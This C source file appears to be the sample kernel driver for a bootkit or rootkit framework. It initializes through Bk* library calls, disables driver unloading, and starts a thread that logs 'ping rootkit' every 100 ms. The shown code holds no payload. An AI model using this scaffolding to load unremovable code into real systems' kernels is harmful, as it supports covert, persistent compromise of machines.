#include "BkDrv.h"
#include "bklib.h"

VOID	myThread(PVOID Context)
{
	UNREFERENCED_PARAMETER(Context);
	LARGE_INTEGER		Interval;
	while (1) {
		Interval.QuadPart = _RELATIVE(_MILLISECONDS(100));
		KeDelayExecutionThread(KernelMode, TRUE, &Interval);
		LOG_DEBUG("ping rootkit\r\n");
	}
}

NTSTATUS NTAPI DriverInitialize(PVOID	LdrContext)
{
	NTSTATUS	ntStatus;
	// Call BkInitialize() first to initialize driver's import 
	ntStatus = BkInstall(LdrContext);

	return(ntStatus);
}
NTSTATUS NTAPI DriverStartup(
	IN PDRIVER_OBJECT  DriverObject,
	IN PUNICODE_STRING RegistryPath
)
{
	UNREFERENCED_PARAMETER(DriverObject);
	UNREFERENCED_PARAMETER(RegistryPath);
	//LOG_DEBUG("hello world\r\n");
	DriverObject->DriverUnload = NULL;
	BkStartThread(myThread);
	return STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(
	IN PDRIVER_OBJECT  DriverObject,
	IN PUNICODE_STRING RegistryPath)
{
	NTSTATUS ntStatus = BkInitialize(DriverObject, RegistryPath, &DriverInitialize, &DriverStartup);

	return(ntStatus);
}

